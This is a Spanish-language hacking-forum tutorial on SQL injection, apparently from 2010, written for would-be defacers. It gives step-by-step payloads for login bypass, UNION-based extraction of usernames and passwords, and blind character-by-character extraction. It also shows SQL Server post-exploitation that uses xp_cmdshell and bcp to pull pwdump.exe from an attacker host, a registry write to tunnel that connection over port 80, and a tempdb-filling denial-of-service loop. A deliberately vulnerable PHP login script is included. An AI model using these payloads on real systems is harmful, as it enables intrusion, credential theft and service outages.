Cubriendo el Pentesting Web Cap 1 Sql Injections

Iniciado por dracko.rx, Febrero 24, 2010, 03:19:24 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Código: php
###################################
#Author: blood_rec                #
#Colaborators: Georgio            #
#blog: http://h4xxor.blogspot.com #
#web: http://e-r00t.org           #
#contact: blood_rec @el-hacker.org #
###################################


####################################################################
# Cubriendo Y Aplicando Teorias De Inyecion Sql                    #
####################################################################
==========================================================================================================================================================
A-Introduccion:

Este Paper pretende cubrir 2 areas Teoria Y Practica si no te gusta leer mucho simplemente Erase (borra) el paper con este paper pretendemos cubrir todo lo referente recopilando info y con los conocimientos limitados que tenemos queremos simplemente dar una guia referente al tema es como el Paper de "Defacing De La Manera Correcta" pero esta vez con practicas y lectura para entretener al usuario que quiere adentrarse en el tema del defacing.

es imprecindible que no traten de saltar ninguna area ya que pretendemos cubrir lo mas extenso posible para que tenga un buen enfasis de lo que realizan y el escenario que enfrentaremos alla afuera en la web

ya e escribido varias veces sobre las vulnerabilidades webs y ciertamente cada vez que pasan los dias la tecnologia y la web se va moviendo a pasos Agigantados hasta el punto que se a vuelto en el medio publicitario mas grande de estos dias.

pero a medida que nos movemos muchos quieren convertirse en desarrolladores de aplicaciones asi como webmasters u administradores de servidores webs,la competencia es amplia y asi como es amplia las vulnerabilidades aumentan asi como las viejas (vulnerabilidades) siguen haciendo presencia en nuestros scripts (me incluyo) por que estamos sujetos a cometer errores con nuestras aplicaciones.

ya los que me conocen saben que soy bien teorico en este tema y me gusta abarcar el medio Pero Por que lo hago? el conocimiento del hombre esta bajo unas letras y mientras mas entendamos el tema podemos aplicar todo lo que se explica dentro de el.

En este paper estaremos cubriendo las areas mencionadas en el menu arriba y asumimos que la practica la llevaras a cabo en tu servidor local L.A.M.P <> W.A.M.P, sea el escenario en una red LAN de tu propiedad o el escenario ya mencionado pero asumimos que todo es con motivo educacional y proponiendo los problemas ya mencionados en el tema.

asumimos que si estas leyendo este paper tienes conocimientos basicos de php si no es asi puedes pasar por http://php.net y ahi podras encontrar mucha info al respecto, asi como puedes encontrar informacion en http://google.com = search - php manuales xD. y pases por el buscador a buscar referencias sobre lo que no entiendan asi como los otros lenguajes al menos conocimientos basicos como en perl,html,javascript etc pero al menos lo basico...

Segun Wikipedia:
SQL Injection es una vulnerabilidad en el nivel de la validación de las entradas a la base de datos de una aplicación. Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el
código "invasor en la base de datos.


bueno a lo que vivnimos...
#####################################################################
B-Inyecciones SQL (SQL Injections):

Primero asumo que llegastes a este manual por que quieres aprender como se realiza este ataque y muchas veces debes haber leido esta explicacion pero muchos que empieza este tema pues aun no se enteran de que se trata esto y que significa pues como lectura obligatoria pongo su significado.

Inyeccion Sql Es cuando un comando SQL que es un lenguaje de gestion de datos es ejecutado con las intenciones de obtener data de una base de datos,en palabras mas tecnicas estamos haciendo una consulta arbitraria  de un comando peviamente establecido., y de esa manera manipulamos la aplicacion que queremos.

No es algo muy avanzado ni muy nuevo en nuestro mundo under y realmente se pregunta constantemente pero que herramientas debo usar para hacer inyecciones sql's ?

realmente no nesesitas muchas tools con solo firefox bastara xD http://mozzila.org/firefox ,...

explotar validaciones de aplicaciones que se gestiones por base de datos mysql son el escenario que realmente perseguimos o un ejemplo de probar dicha vulnerabilidad,...

Obviamente no puedo llenarlos de letras explicando todo esto todo el dia por que igual me criticarian y a mi me facina escribir pero en fin vallamos mas adelante:

1-Detectando La Vulnerabilidad:
Bueno lo primero que nesesitaremos es obviamente la curiosidad y la malicia pongamos el escenario asi; entramos en una pagina dinamica en php y nos pide una autentificacion., obviamente no la tenemos y tendremos que registrarnos interactuando con una forma en php que asi mismo ella interactua con una base de datos para incluir el usuario.

ok para saber como interactuan ambas sabmos que cuando registras un usuario en una forma y queda registrado en la base de datos quedan guardados en una tabla o en muchas de ellas seria en la tabla de miembros y el usuario asi como el password quedan guardados en diferentes columnas., detente si no tienes idea de esto es hora que te pases por http://wikipedia.org/SQL .

Cuanod te logeas en la forma la aplicacion busca la DATA del usuario en la tabla del usuario que proporcionastes asi como el password, asi la aplicacion despues de encontrar el usuario y contrasena que suplistes te dejara logearte en dicha aplicacion., si se diera el caso que los datos son icorrectos pues la aplicacion te lo informara que los datos son icorrectos o el usuario que proporcionaste no existe etc., ya a de haberle pasado alguna vez..

SQL puede darte estos datos en pantalla tambien y mostrar la informacion dentro de una palicacion web., eso en el ejemplo de las formas de logeo asi como si la aplicacion tiene una seccion de posteo de links pues tendra una tabla en la base de datos que guarda y gestiona los links publicados, lo mismo para noticias, una tabla que guardara los nombres de las noticias, en este caso la mayoria de las veces estas noticias u cosas,artculos se identifican la mayoria de las veces en las tablas por un numero.

como nos damos de cuenta cual es ese numero si miramos la url del sitio que estamos probando dira o sera asi

---> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=69 ]

la url le dice al sitio ue mire la tabla que tiene el nombre del articulo que es :

[ ArticuloID que es "69" ]

Una vez que el sitio busca la tabla del "ArticuloID" que se Busca la misma linea que se llama "Titulo" Dentro de la columna y la muestra en tu navegador.

En este otro caso veremos "lammer" como titulo de nuestro Articulo, recuerden que es bien importante ver que esta escrito despues de '=' que es parte de un comando SQL siempre tengamos eso en mente:
####################
#Articulo_Id#Titulo#
#===========#======#
#69         #lammer#
#70         #kiddie#
#71         #noob  #
####################

OK y entonces que es lo que debemos hacer ya que tenemos nuestra victima? ok ejecutaremos comandos manualmente a ver si nuestra aplicacion es vulnerable,realizando nuestras consultas via navegador (firefox) xD, ejecutaremos ese comando siempre despues de '=' si es el caso que queremos inyectar en la forma que nos muestra los articulos,etc., si es el caso que es una forma de autentificacion sease usuario + password pues los comandos los ejecutaremos en los campos mencionados. como una barra de busqueda una barra de usuario o password.

si es vulnerable siempre el sitio hara lo que le digas que haga solo manipulando las consultas SQL xD

Es muy importante siempre leer y aprender sobre lo que estas haciendo aprender los comandos y todo aplicarlo a full ya que de esa manera la practica te hara un maestro. Memorizarte poco a poco te hara bien y entonces nos familiarizamos con algunos comandos SQL:

#################################################################################################################
Comando                      ##                                     Uso                                         #
================================================================================================================#
ORDER BY               Le Ordena Al sitio que nos muestre la columna en la misma pagina que estamos visualizando#
OR                     El Comando se usa si una sentencia es verdadera dentro de la consulta SQL                #
+                      Se Usa En Vez De Usar Espacio Lease,Entiendase la tecla de Espacio [Space]               #
--                     Termina Una sentencia de comandos SQL asi como lasm ';' en perl etc                      #                     
AND                    Ambas consultas tienen que ser verdaderas dentro de la base de datos Para ser llevada    #
UPDATE                 Cambia la informacion dentro de una Columna O Una Tabla                                  #
SELECT                 Especifica Informacion En una Tabla                                                      #
#################################################################################################################

La manera mas sencilla de aplicar una inyeccion sql,es burlando autentificaciones,que son nada mas o menos que las autentificaciones de usuario y password:

algo como esto script para practicar en tu localhost:

[auten.html]
####################################################
<form action="auten.php" method="post">            #
Username: <input type="text" name="usuario" />     #
<br>                                               #
Password: <input type="password" name="password" />#
<input type="submit" value="Login" />              #
</form>                                            #
####################################################
[auten.php]
###############################################################################################
<?php                                                                                         #
$mysqlcon = mysql_connect("localhost:413","root","12345") or die(mysqlerror());               #
$username = $_POST['usuario'];                                                                #
$password = md5($_POST['password']);                                                          #
mysql_select_db("mydb", $mysqlcon ) or die(mysqlerror());                                     #
$loginauthsql = "SELECT * FROM USERS WHERE USER_NAME = '" . $username . "' AND PASSWORD = '" .#
$password . "'";                                                                              #
//esta parte te puede servir a la hora que vallas haciendo las consultas como referencia.     #
echo '<b>' . 'SQL QUERY: ' . '</b>' . $loginauthsql . "<br />" . "<br />";                    #
$result = mysql_query($loginauthsql, $mysqlcon) or die(mysqlerror());                         #
if (mysql_numrows($result) != 0 )                                                             #
{                                                                                             #
         echo 'AUTHENTICATION ' . '<font color="#00CC66">' . 'GRANTED' . '</font>';           #
}                                                                                             #
else                                                                                          #
{                                                                                             #
         echo 'AUTHENTICATION ' . '<font color="#FF0000">' . 'FAILED' . '</font>';            #
}                                                                                             #
mysql_close($mysqlcon);                                                                       #
?>                                                                                            #
###############################################################################################

Thanks Aelphaeis

pero en este caso probaremos con una consulta bien elemental dentro del mundo de las inyecciones sql y es con tan simple el uso de (') comilla , sabemos que en la forma el usuario y el password esta rodeado de comillas simples "'" entonces si sometemos a la forma una simple comilla te arrojara un error dado que hay 2 "'" (comillas) invisbles en la forma si sometemos a' te arrojara el error comun cuando hay un error de consulta SQL en el servidor obviamente nos daremos cuenta pero que realmente esta pasando detras de nostros ?:

cuando sometimos ' el servidor envio una consulta a la base de datos para interpretar ' que en los campos mencionados arriba estan rodeados de ellas 'usuario' seria el ejemplo al servidor no encontrar nada en la base de datos que consulte ese comando ni en las tablas ni en las lineas ni en las columnas por ende es un error del programador (entiendase) una vulnerabilidad aunque no en todos los casos.

siempre dentro de una base de datos tenemos el INFORMATION_SCHEMA que guarda cada nombre de las tablas y de las columnas de un sitio en siempre un servidor tendra el INFORMATION_SCHEMA como dato obvio su nombre nunca cambiara las tablas dentro de INFORMATION_SCHEMA que guarda los nombres de las otras tablas tendran una tabla dentro que se llamara INFORMATION_SCHEMA.TABLES el nombre de la columna que guarda la informacion que practicamente queremos se llama a su vez table_name la tabla que guarda el nombre de las otras columnas dentro de INFORMATION_SCHEMA se llama INFORMATION_SCHEMA.COLUMNS y sucesivamente la columna que guarda la informacion que queremos de esta parte se llama column_name recuerden que esto es dentro de INFORMATION_SCHEMA.COLUMNS., ya se les esta haciendo claro no?. xD

como explique antes podemos siempre encontrar la caracteristica que el sitio web que gestiona la base de datos siempre tiene "=" en su URL por ende que para ejecutar los comandos tenemos que hacerlo luego de "=" ok simplemente prueba con los comandos o consultas despues de...

ok vamos a nuestro escenario imaginario:

estamos navegando y nos encontramos nuevamente con la web:

--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10 ]

ok vamos a determinar si es vulnerable

--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+AND+1=0-- ]

bueno aqui lo que paso fue lo siguiente es que se supone que se muestre el articulo 10 solo se mostrara si 1 es igual que 0, en este caso  "AND" significa que para que el articulo 10 se muestre en el sitio debe existir (en la base de datos) "AND" 1 debe ser igual que 0, esto ocacionara que no se muestre el articulo ya que 1 no es igual que 0 .

--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+AND+1=1-- ]

se muestra el articulo 10 si el 1 es igual que el 1 .,el articulo se mostrara en la pagina ya que "AND" 1 es igual que 1 .,Ahoea sabemos que la aplicacion es vulnerable ya que se muestra cuando queremos y no lo haces cuando queremos xD., es hora de continuar con nuestro ataque ;-)
Ahora queremos encontrar las columnas de nuestro sitio:

--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+ORDER+BY+1-- ]

"ORDER BY 1" donde esta "1" es el numero de la columna lo que hace es mostrarnos la primera columna en la pagina.,"ORDER BY 2" nos mostrara la 2 columna en la pagina., sucesivamente vamos aunmentando los valores del numero sumandole (+) uno   hasta que nos muestre un error en la pagina y entonces cuando nos muestra el error la restamos uno de los numeros que pusimos y no te olvides de ese numero por ejemplo si sumastes numeros y te dio el error cuando pusistes hasta 6 entonces seria asi:

--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+ORDER+BY+5-- ]

bueno ya sabemos que tiene 5 columnas la aplicacion., ahora queremos conseguir el nombre de las tablas que ya arriba habiamos mencionado este comando pues eso lo haremos de esta manera:


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,4,5+FROM+INFORMATION_SCHEMA.TABLES-- ]


OK expliquemos esa sentencia SELECT Le indica al sitio que muestre la informacion de la tabla que usted especifica.,en este caso acabamos remplazando el numero del articulo que era 69 por un caracter negativo "-".,recordemos tambien que en pasos anteriores para buscar la columna ibamos sumandole numeros y agregandolos a la url pues en este caso los vamos poniendo uno al lado del otro separados de una coma "," (1,2,3,4,5).

Se supone que a estas alturas uno de esos numeros que pusistes en la consulta de la URL al menos uno se muestre en el website (pantalla).

ahora lo que iremos es remplazando los numeros en la URL por palabras si se van mostrando en la pantalla..


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_tabla,5+FROM+INFORMATION_SCHEMA.TABLES-- ]


Recuerden que deben remplazar un al menos uno de los numeros con "nombre_tabla" que es el nombre de la tabla.,FROM+INFORMATION_SCHEMA.TABLES recuerden tambien que esto te mostrara el nombre de la tabla que ya eso lo explicamos arriba.,el nombre de la tabla numero 4 que fue la que remplazamos se mostrara en la pantalla.,...


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_tabla,5+FROM+INFORMATION_SCHEMA.TABLES+WHERE+nombre_tabla>'displayed_table'-- ]


Estamos seguros que "nombre_tabla" no es la que buscamos y la que queremos es la que tiene los usuarios y los passwords.,para navegar una lista de tablas y encontrar la tabla correcta agregamos:

[+WHERE+nombre_tabla>'displayed_table']


  Displayed_table muestra la tabla incorrecta despues de TABLES por ende este comando displayed_table nos muestra la tabla siguiente despues de.,entonces lo que hacemos es que repetimos el paso anterior hasta que nos muestre una tabla deseada que en este caso la que queremos es la que contenga los usuarios.,ya cuando la consigas no olvides el nombre de la tabla que querias.,

Ahora queremos sacar nuestra columna o nombre de la columna:


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_columna,5+FROM+INFORMATION_S
CHEMA.COLUMNS+WHERE+nombre_tabla='CuentasUsuarios'-- ]


Entonces FROM+INFORMATION_SCHEMA.COLUMNS lo que hace es mostrarnos el nombre de las columnas en la tabla 'CuentasUsuarios'.,ahora en vez de mostrarse el nombre de la tabla se mostrara el nombre de la columna en la tabla 'CuentasUsuarios'..

como en pasos anteriores tenemos un blanco especifico y ahora en este caso buscar la columna especifica:


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_columna,5+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+nombre_tabla='CuentasUsuarios'+AND+nombre_columna>'displayed_column'-- ]


como reiteradamente mencione antes,queremos buscar la columna especifica de igual manera que hicimos para conseguir la tabla de usuarios antes.,si lo que queremos son los usuarios y passwords pues sabemos que debemos buscar las columnas que tengan nombres similares a usuarios,passwords,user,pass,logeo,acceso etc.

el comando anterior lo que hace es mostrar la columna que va siguiente a la mostrada que habiamos sacado previamente, y como ya mencione en el paso de sacar las tablas repetiremos los pasos hasta dar con la columna que queremos.

y ya dimos supuestamente con las columnas que queriamos que se llaman 'usuario' 'acceso' no olvidemos estas columnas tampoco,asumiendo que apuntaron los resultados para tener nuestra inyeccion final recordamos que los datos serian asi

##################################
#Nombre de Tabla         Columnas#
##################################
#CuentasUsuarios         usuario #
#                         acceso #
##################################


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,usuario,5+FROM+CuentasUsuarios-- ]


Este comando nos muestra la primera data de la columna "usuarios" de la tabla "CuentasUsuarios".

Digamos que la pagina nos mostro 'Cascanola' xD


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,acceso,3+FROM+CuentasUsuarios+WHERE+usuario='Cascanola'-- ]


Este comando nos mostrara el password del usuario 'Cascanola' que esta guardado en la tabla 'CuentasUsuarios'.,entonces en nuestra pagina se nos tiene que haber mostrado el password del usuario que en nuestro ataque imaginario es "12345678" xD...

entonces al final de nuestro ataque nos logueamos con el usuario 'Cascanola' y el password '12345678' xD Ewww...

recordemos que este escenario solo es suponiendo las paginas y las consultas se aplicaran con la pura logica del usuario..

ok podemos aplicar mas o menos los mismos metodos en otro tpo de base de datos no nesesariamente sql server, mssql de mocosoft xD, en fin las tecnicas mas o menos iguales aqui una rapida introduccion la misma web escenario pero en php..


[ www.webquenoesdelgobierno.com/index.php?id=0 ]


lo mismo que ya deben saber despues de "=" es nuestro articulo por ende la consulta a la base de dato y que si fuera el caso que fuera vulnerable nuestra aplicacion la inyeccion va a partir de "=".,

esta vez usamos de ejemplo un formulario de logeo y lo primero que usaremos el articulo siendo "=0" sera


[ 'OR 1=1--]


ok ya tenemos claro muchas cosillas debido a la lectura hasta este momento xD usaremos ese comando en los campos de logeo osea donde dice usuario y password,usemos otro ejemplo pero directo a la URL:


[ www.webquenoesdelgobierno.com/index.php?id=0  'OR 1=1-- ]

usualmente este lo usamos cuando es una inyeccion a ciegas que meramente hablaremos de ella mas adelante por consecuente haz de haber investigado de mas comandos SQL para sacar info dentro de las base de datos podemos usar muchos otros strings u comandos.


   admin'--
' or 0=0 --
" or 0=0 --
  or 0=0 --
'hi or 1=1--

hay muchas tecnicas abarcadas dentro del tema de las inyecciones sql de las que podemos poner muchicimas pero no quiero aburrirlos en el tema repetitivo y algo que quiero recrdarles que dentro de la base de datos no solamente podemos atacar con inyecciones SQL los Buffer Overflows que es un Ataque bien interesante y uno de los metodos favoritos de este servidor se pueden realizar dentro de ellas pero por ahora eso es en otro capitulo.

es bien impotante recordar que muchas veces nos enontramos con tal aplicacion y ni sabemos que tipo de base de datos gestiona pero eso lo iras mejorando durante el camino si aun asi no sabes como dar con ella puedes intentar con zenmap es una herramienta indispensable a la hora de hacer pentesting.

Ahora sigamos con el tema de las inyecciones en este caso las inyecciones a ciegas o como se conoce en ingles Blind SQL Injection.,ok explico que es esto usualmente cuando inyectamos una aplicacion y manipulamos la base de datos usualmente nos da los errores tipicos que nos indican si es vulnerable o no.,a raiz de esto los adminsitradores solo prohibe la muestra de errores en la programacion para que no sean mostradas en el sitio web para prevenir futuros ataques.

saben que administradores esto no los salva del todo xD igual si no muestra los errores puede ser vulnerable a inyeccion a ciegas ;-)

ok vamos a nuestro escenario imaginario para explicar mas sobre el asunto.digamos que nuestra webquenoesdelgobierno tiene una seccion que le da la oportunidad a sus empleados a ver los memos en linea de la empresa que son publicados blablabla la historia que ustedes quieran:


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 ]


entonces el comando que usara la web para buscar la data en la base de datos y mostrarse en la web sera este:


[ SELECT title, description,memoDate, body FROM memodats WHERE memodatID = 2 ]


y entonces el servidor respondera mostrando el 2 memo hecho por la empresa en forma de HTML para que pueda ser visualizado en dicha pagina (obviamente) y es lo que vemos con nuestros navegadores.

para probar si nuestra aplicacion es vulnerable traten de injectar un caracter mas despues del Parametro Comando WHERE y veamos que pasa?


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND 1=1 ]

por resultado el website realiza la siguiente consulta:


[ SELECT title, description, memoDate, body FROM memodats WHERE memodatID = 2 AND 1=1 ]


si por resultado la pagina se muestro con el 2 memo o sea la pagina normal que vistes al principio antes de hacer esa consulta pues tenemos una apliccion vulnerable a inyeccion SQL a ciegas.,si la aplicacion no fuera vulnerable pues simplemente la pagina no mostraba el memo o sea nuestra pagina por que el usuario hizo una mala consulta a la base de datos.

Cuanod probamos la aplicacion el Parametro WHERE es predecible 1=1 siempre sera nuestro inicio por ende real (exite) pero no siempre sabemos si es true entonce por que no le preguntamos a la base de datos directamente?:


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND USER_NAME() = 'dbo' ]


USER_NAME() s un parametro que te muestra el nombre del usuaro actual si el usuario actual es 'dbo' (el administrador) entonces el memo se mostrar (nuestra pagina) si no es asi no se mostrara tan sencillo como eso.

entonces podemos de muchas maneras seguir sacandole info a la aplicacion como nombre de la tabla un numero a la vez como la que ya aplicamos pero de otra manera:


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 109 ]


El Parametrdentro de la consulta 'SELECT' pregunta el nombre de la primera tabla del usuario de la base datos que obviamente siempre es lo primero que queremos haces a la hora de sql injection.,el parametro dentro de la consulta substring() esta funcion nos mostrara el primer caracter de nuestra consulta, el parametro lower() dentro de la consulta lo que hace es convertir ese caracter en letra minuscula, y finalmente el parametro ascii() dentro de la consulta lo que hace es mostrarnos ese caracter en ascii o sea el valor ascii, claro? XD ehh

si el servidor nos responde mostrando la pagina que normalmente estabamos visualizando o sea el memo pues sabemos que la primera letra de la consulta esta despues de m en ascii es valor 109,haciendo algunas consultas podemos dar con el valor exacto de la letra.


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 116 ]


si no se mostro nuestro memo (la pagina) pues el valor ascii es mayor que 109,pero menor que 116 la letra esta entre 'n' y 't'.


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 113 ]

otro falso(pagina no mostrada) pues debe estar entre '110' y '113'.


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 111 ]

falso nuevamente :O pues debe estar entre estas dos letras 'n' y 'o', entonces continuamos cambiando un poco la consulta:


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) = 111 ]


El servidor nos muestra nuestro memo (pagina) asi que es positivo nuestro nombre de tabla en este caso es 'o' asi como la primera tabla de ella,para sacar la segunda letra repetiremos el proceso pero cambiaremos el parametro de consulta en substring() que el parametro seria el numero que va despues de 'xtype='U'),.


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2,1))) = 109 ]


Repitamos el proceso hasta que nos de la palabra completa el problema de las inyecciones SQL a ciegas (Blind) es que tienen que hacer Hartas peticiones para dar con su objetivo,algo que lo pueden arreglar mientras van puliendo sus tecnicas.

repasemos otra vez atras con lo fundamental y su ejercicio es aqui es imaginarse el escenario y analizar la estructura del codigo SQL para saber de que manera es vulnerable analizemos este codigo:


[SQLQuery = "SELECT Username FROM Users WHERE Username = '" &
strUsername & "' AND Password = '" & strPassword & "'"
strAuthCheck = GetQueryResult(SQLQuery)
If strAuthCheck = "" Then
     boolAuthenticated = False
Else
     boolAuthenticated = True
End If]


ahora ustedes ya deben saber que cuando nos encontramos con una forma de logeo y password este codigo o similar es lo que tenemos en la base de datos vulnerable,entonces cuando metes los datos de usuario la consulta verifica en las tablas si hay algunos datos que concuerden con la data que acabas de admitir. si la data es encontrada pues eso se guarda en la variable strAuthCheck indicando que el usuario debe ser autentificado,si se diera que el usuario que accedimos no concuerda con ninguna de la data de la base de datos entonces la variable strAuthCheck se queda vacia por que el usuario no puede ser autentificado.

si las variables strUsername y strPassword tienen algun caracter que usted quiere pues usteden pueden modificar la consulta SQL para que le devuelva el nombre que ustedes quieren,sin nesesidad de saber el password u/o el usuario.pero eso les quedo ya bien claro atraves de la lectura solo que lo enfatizo mas para que se hagan de una idea totalmente clara,pueden decir pero si ya explicastes eso arriba. no esta demas refrescar el cocote xD.

ok preparemos otro posible escenario pero esta vez en sql server y digamos que ya obtuvistes los datos que quieres,entonces quieres ganar priilegios dentro del servidor y subir archivos al mismo muchos de los puertos que se podrian utilizar el firewall los bloquea como lo son los puertos 137-139.,lo que haremos es subir un archivo binario en una tabla creada por ti mismo directo en la base de datos y luego saltandolo a los directorios del server. xD
una manera bien rara pero todavia funciona

entonces crearemos una tabla en el servidor:


[ create table TablaMaligna (data text) ]

Despues de haber creado la tabla subiremos nuestro binario a la mismisima tabla que hemos creado:

[ bulk insert TablaMaligna
      from 'pwdump.exe'
      with (codepage='RAW') ]


El binario podemos descargarlo de manera remota al servidor victima con el siguiente comando:


[ exec xp_cmdshell 'bcp "select * from TablaMaligna" queryout
pwdump.exe -c -Craw -ipnuestra -Rus -N3n3Bueno' ]


este comando va a suceder una conexion entrante a nuestra pc y escribiendo los comandos en el ejecutable que estamos recreando,en este escenario usaremos el protocolo por defecto asi como el puerto por defecto que puede ser que el firewall bloquee esa conexion entonces haremos:


[ exec xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',
'N3n3Bueno','REG_SZ','DBMSSOCN,ipnuestra,80'
]


luego :


[ exec xp_cmdshell 'bcp "select * from TablaMaligna" queryout
pwdump.exe -c -Craw -go0ns -Rus -N3n3Bueno' ]


el primer comando SQL configurara una conexion remota interactiva en el puerto -80 hacia nuestra maquina mientras el segundo comando SQL se conectara con nuestra maquina a traves del puerto -80 para descargar nuestro archivo binario..

entonces se preguntaran por que tanto revolu y tanta cosa pero lo que queremos enfatizar con este paper es cubrir el tema por completo en cada una de las tecnicas usadas.antes de llegar a usar los scanners y cosas y algo que veo bien comun es la costumbre de usar el SSS :O si ese mismo scanners que te arroja un 80% de falsos positivos a sabiendas que a manos pueden hacer muchicimas cosas.

ahora iremos algo mas teorico sobre esta vulnerabilidad para acabar con este capitulo a la hora de buscar la vulnerabilidad de esa aplicacion debemos tener bien en claro que el cliente debe comunicarse con el servidor y cuales son nuestros objetivos dentro de la ejecucion de la inyeccion.

despues de obtener los privilegios o que ya tengamos claro que la aplicacion es vulnerable podemos hacer muchas cosas inclusive un ataque de denegacion de servicio:


[ create table #tmp (x varchar(8000))
exec('insert into #tmp select ''X''')
while 1=1 exec('insert into #tmp select * from #tmp' ]


si haciendo esa consulta y manipulando los comandos podemos crear una tabla y correra con un loop infinito insertando variables en la tabla :O., las tablas temporeras se guardan en el sistema temporero de la base de datos y eventualmente nuestra base de datos temporal crecera resultando en el consumo de todos los recursos,y por ende el sistema cae al no poder comunicarse con la base de datos.
#######################################################################################

las tecnicas son muchicimas y podemos continuar ire agregando mas tecnicas dado que la nesesidad que vayan por un paso a paso en estos tiempos es imprecindible. continuaremos con el proximo capitulo y espero que esta introduccion les haya gustado. por ahora terminamos aqui a pasar a lo proximo
========================================================================================================================================================

###########
#blood_rec#
###########


salu2
Venta de diseños - Contactar por MP

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta